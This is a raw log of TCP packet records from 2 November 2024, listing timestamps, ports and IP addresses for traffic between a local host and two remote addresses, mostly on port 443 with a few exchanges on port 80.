Nov 2, 2024 07:16:02.445310116 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.445319891 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.445328951 CET	63756	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.445333004 CET	443	63756	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447344065 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447355986 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447407961 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447494030 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447521925 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447530031 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447695017 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447756052 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447783947 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447793961 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.447807074 CET	63755	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.447810888 CET	443	63755	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.449780941 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.449793100 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.449856043 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.449966908 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.449978113 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.458244085 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.458297968 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.458427906 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.458568096 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.458578110 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.458590031 CET	63753	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.458594084 CET	443	63753	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.460206032 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.460225105 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.460289955 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.460392952 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.460405111 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.892782927 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.893171072 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.893192053 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:02.893570900 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:02.893575907 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.024663925 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.024776936 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.024831057 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.024935961 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.024949074 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.024960995 CET	63757	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.024965048 CET	443	63757	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.033235073 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.033272028 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.033337116 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.033485889 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.033502102 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.193758965 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.194114923 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.194133043 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.194525003 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.194529057 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.211463928 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.211752892 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.211761951 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.212093115 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.212099075 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.238538980 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.238873005 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.238892078 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.239238977 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.239243984 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.277153969 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.277523041 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.277535915 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.277796984 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.277801037 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.325984001 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.326123953 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.326195002 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.326241970 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.326261997 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.326275110 CET	63760	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.326280117 CET	443	63760	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.328576088 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.328605890 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.328685045 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.328795910 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.328804970 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.345191956 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.345382929 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.345442057 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.345479965 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.345489025 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.345498085 CET	63758	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.345509052 CET	443	63758	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.347143888 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.347158909 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.347230911 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.347337961 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.347342014 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.374362946 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.374516964 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.374612093 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.379498005 CET	63761	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.379513979 CET	443	63761	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.381900072 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.381927967 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.382009983 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.382144928 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.382155895 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.412559032 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.412604094 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.412661076 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.412782907 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.412789106 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.412797928 CET	63759	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.412801027 CET	443	63759	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.414617062 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.414624929 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.414696932 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.414808035 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.414815903 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.769710064 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.770134926 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.770159006 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.770577908 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.770584106 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.900953054 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.901153088 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.901206017 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.901230097 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.901242971 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.901252031 CET	63762	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.901256084 CET	443	63762	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.904757977 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.904781103 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:03.904871941 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.905066013 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:03.905076981 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.064773083 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.066492081 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.066509962 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.066926003 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.066930056 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.104202986 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.116266966 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.116276026 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.116724014 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.116728067 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.124536991 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.125022888 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.125034094 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.125433922 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.125439882 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.179308891 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.192564964 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.192747116 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.192832947 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.214710951 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.214718103 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.215321064 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.215323925 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.215790987 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.215809107 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.215817928 CET	63763	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.215822935 CET	443	63763	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.218157053 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.218240023 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.221410036 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.221580982 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.221611977 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.243731976 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.243866920 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.243928909 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.246160030 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.246166945 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.246202946 CET	63764	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.246206999 CET	443	63764	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.262394905 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.262533903 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.262593031 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.264373064 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.264393091 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.264408112 CET	63765	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.264414072 CET	443	63765	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.292745113 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.292829990 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.292936087 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.297166109 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.297246933 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.297287941 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.297322989 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.297322989 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.297413111 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.297431946 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.555951118 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.556004047 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.556051970 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.599375963 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.599384069 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.599392891 CET	63766	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.599397898 CET	443	63766	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.602145910 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.602226019 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.602294922 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.603624105 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.603658915 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.630903959 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.633928061 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.633944035 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.639386892 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.639394045 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.763780117 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.763839006 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.763887882 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.765794992 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.765815020 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.765825987 CET	63767	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.765832901 CET	443	63767	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.770490885 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.770513058 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.770575047 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.770755053 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.770766973 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.790539980 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:04.795547009 CET	80	63773	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:04.795629025 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:04.795835018 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:04.800645113 CET	80	63773	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:04.987930059 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.988571882 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.988609076 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:04.989406109 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:04.989423037 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.039906025 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.040421963 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.040465117 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.040904999 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.040935993 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.068563938 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.068906069 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.068932056 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.069401026 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.069411993 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.122932911 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.123123884 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.123202085 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.123246908 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.123281956 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.123306990 CET	63768	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.123342037 CET	443	63768	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.125976086 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.126000881 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.126065969 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.126197100 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.126210928 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.172034979 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.172081947 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.172156096 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.172281981 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.172281981 CET	63769	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.172310114 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.172333956 CET	443	63769	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.174180984 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.174251080 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.174316883 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.174420118 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.174447060 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.202969074 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.203113079 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.203190088 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.203233957 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.203233957 CET	63770	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.203269005 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.203289032 CET	443	63770	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.204989910 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.205014944 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.205091953 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.205328941 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.205341101 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.341315031 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.341674089 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.341701984 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.342119932 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.342132092 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.473215103 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.473282099 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.473411083 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.473615885 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.473615885 CET	63771	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.473639965 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.473659992 CET	443	63771	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.476154089 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.476186037 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.476264954 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.476416111 CET	63777	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.476430893 CET	443	63777	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.583946943 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.584448099 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.584461927 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.584882975 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.584887981 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.727145910 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.727196932 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.727368116 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.727399111 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.727410078 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.727420092 CET	63772	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.727425098 CET	443	63772	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.729373932 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.729397058 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.729469061 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.729588032 CET	63778	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.729599953 CET	443	63778	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.735408068 CET	80	63773	185.215.113.43	192.168.2.4
Nov 2, 2024 07:16:05.735471964 CET	63773	80	192.168.2.4	185.215.113.43
Nov 2, 2024 07:16:05.873495102 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.873838902 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.873852968 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.875216007 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.875221968 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.939985037 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.940310001 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.940346003 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.940685987 CET	63775	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.940700054 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.969043970 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.969314098 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.969327927 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:05.969677925 CET	63776	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:05.969681978 CET	443	63776	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.003221989 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.003390074 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.003437996 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.003472090 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.003480911 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.003489971 CET	63774	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.003494024 CET	443	63774	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.005776882 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.005803108 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.006105900 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.006258965 CET	63779	443	192.168.2.4	13.107.246.45
Nov 2, 2024 07:16:06.006272078 CET	443	63779	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.080054998 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.080102921 CET	443	63775	13.107.246.45	192.168.2.4
Nov 2, 2024 07:16:06.080182076 CET	63775	443	192.168.2.4	13.107.246.45
